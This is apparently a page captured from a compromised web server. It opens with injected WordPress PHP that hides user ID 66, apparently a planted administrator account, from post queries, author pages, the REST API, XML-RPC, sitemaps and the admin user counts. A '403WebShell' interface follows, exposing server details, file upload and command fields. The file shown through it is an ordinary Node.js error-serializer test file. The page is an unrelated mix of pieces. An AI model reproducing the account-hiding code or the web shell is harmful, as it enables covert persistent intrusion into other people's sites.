add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openskillpaths/node_modules/pino-std-serializers/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openskillpaths/node_modules/pino-std-serializers/test/err.test.js
'use strict'

const assert = require('node:assert')
const { test } = require('node:test')
const serializer = require('../lib/err')
const { wrapErrorSerializer } = require('../')

test('serializes Error objects', () => {
  const serialized = serializer(Error('foo'))
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.match(serialized.stack, /err\.test\.js:/)
})

test('serializes Error objects with extra properties', () => {
  const err = Error('foo')
  err.statusCode = 500
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.ok(serialized.statusCode)
  assert.strictEqual(serialized.statusCode, 500)
  assert.match(serialized.stack, /err\.test\.js:/)
})

test('serializes Error objects with subclass "type"', () => {
  class MyError extends Error {}
  const err = new MyError('foo')
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'MyError')
})

test('serializes nested errors', () => {
  const err = Error('foo')
  err.inner = Error('bar')
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.match(serialized.stack, /err\.test\.js:/)
  assert.strictEqual(serialized.inner.type, 'Error')
  assert.strictEqual(serialized.inner.message, 'bar')
  assert.match(serialized.inner.stack, /Error: bar/)
  assert.match(serialized.inner.stack, /err\.test\.js:/)
})

test('serializes error causes', () => {
  for (const cause of [
    Error('bar'),
    { message: 'bar', stack: 'Error: bar: err.test.js:' }
  ]) {
    const err = Error('foo')
    err.cause = cause
    err.cause.cause = Error('abc')
    const serialized = serializer(err)
    assert.strictEqual(serialized.type, 'Error')
    assert.strictEqual(serialized.message, 'foo: bar: abc')
    assert.match(serialized.stack, /err\.test\.js:/)
    assert.match(serialized.stack, /Error: foo/)
    assert.match(serialized.stack, /Error: bar/)
    assert.match(serialized.stack, /Error: abc/)
    assert.ok(!serialized.cause)
  }
})

test('serializes error causes with VError support', function (t) {
  // Fake VError-style setup
  const err = Error('foo: bar')
  err.foo = 'abc'
  err.cause = function () {
    const err = Error('bar')
    err.cause = Error(this.foo)
    return err
  }
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo: bar: abc')
  assert.match(serialized.stack, /err\.test\.js:/)
  assert.match(serialized.stack, /Error: foo/)
  assert.match(serialized.stack, /Error: bar/)
  assert.match(serialized.stack, /Error: abc/)
})

test('keeps non-error cause', () => {
  const err = Error('foo')
  err.cause = 'abc'
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.strictEqual(serialized.cause, 'abc')
})

test('prevents infinite recursion', () => {
  const err = Error('foo')
  err.inner = err
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.match(serialized.stack, /err\.test\.js:/)
  assert.ok(!serialized.inner)
})

test('cleans up infinite recursion tracking', () => {
  const err = Error('foo')
  const bar = Error('bar')
  err.inner = bar
  bar.inner = err

  serializer(err)
  const serialized = serializer(err)

  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.match(serialized.stack, /err\.test\.js:/)
  assert.ok(serialized.inner)
  assert.strictEqual(serialized.inner.type, 'Error')
  assert.strictEqual(serialized.inner.message, 'bar')
  assert.match(serialized.inner.stack, /Error: bar/)
  assert.ok(!serialized.inner.inner)
})

test('err.raw is available', () => {
  const err = Error('foo')
  const serialized = serializer(err)
  assert.strictEqual(serialized.raw, err)
})

test('redefined err.constructor doesnt crash serializer', () => {
  function check (a, name) {
    assert.strictEqual(a.type, name)
    assert.strictEqual(a.message, 'foo')
  }

  const err1 = TypeError('foo')
  err1.constructor = '10'

  const err2 = TypeError('foo')
  err2.constructor = undefined

  const err3 = Error('foo')
  err3.constructor = null

  const err4 = Error('foo')
  err4.constructor = 10

  class MyError extends Error {}
  const err5 = new MyError('foo')
  err5.constructor = undefined

  check(serializer(err1), 'TypeError')
  check(serializer(err2), 'TypeError')
  check(serializer(err3), 'Error')
  check(serializer(err4), 'Error')
  // We do not expect 'MyError' because err5.constructor has been blown away.
  // `err5.name` is 'Error' from the base class prototype.
  check(serializer(err5), 'Error')
})

test('pass through anything that does not look like an Error', () => {
  function check (a) {
    assert.strictEqual(serializer(a), a)
  }

  check('foo')
  check({ hello: 'world' })
  check([1, 2])
})

test('can wrap err serializers', () => {
  const err = Error('foo')
  err.foo = 'foo'
  const serializer = wrapErrorSerializer(function (err) {
    delete err.foo
    err.bar = 'bar'
    return err
  })
  const serialized = serializer(err)
  assert.strictEqual(serialized.type, 'Error')
  assert.strictEqual(serialized.message, 'foo')
  assert.match(serialized.stack, /err\.test\.js:/)
  assert.ok(!serialized.foo)
  assert.strictEqual(serialized.bar, 'bar')
})

test('serializes aggregate errors', { skip: !global.AggregateError }, () => {
  const foo = new Error('foo')
  const bar = new Error('bar')
  for (const aggregate of [
    new AggregateError([foo, bar], 'aggregated message'),
    { errors: [foo, bar], message: 'aggregated message', stack: 'err.test.js:' }
  ]) {
    const serialized = serializer(aggregate)
    assert.strictEqual(serialized.message, 'aggregated message')
    assert.strictEqual(serialized.aggregateErrors.length, 2)
    assert.strictEqual(serialized.aggregateErrors[0].message, 'foo')
    assert.strictEqual(serialized.aggregateErrors[1].message, 'bar')
    assert.match(serialized.aggregateErrors[0].stack, /^Error: foo/)
    assert.match(serialized.aggregateErrors[1].stack, /^Error: bar/)
    assert.match(serialized.stack, /err\.test\.js:/)
  }
})

Youez - 2016 - github.com/yon3zu
LinuXploit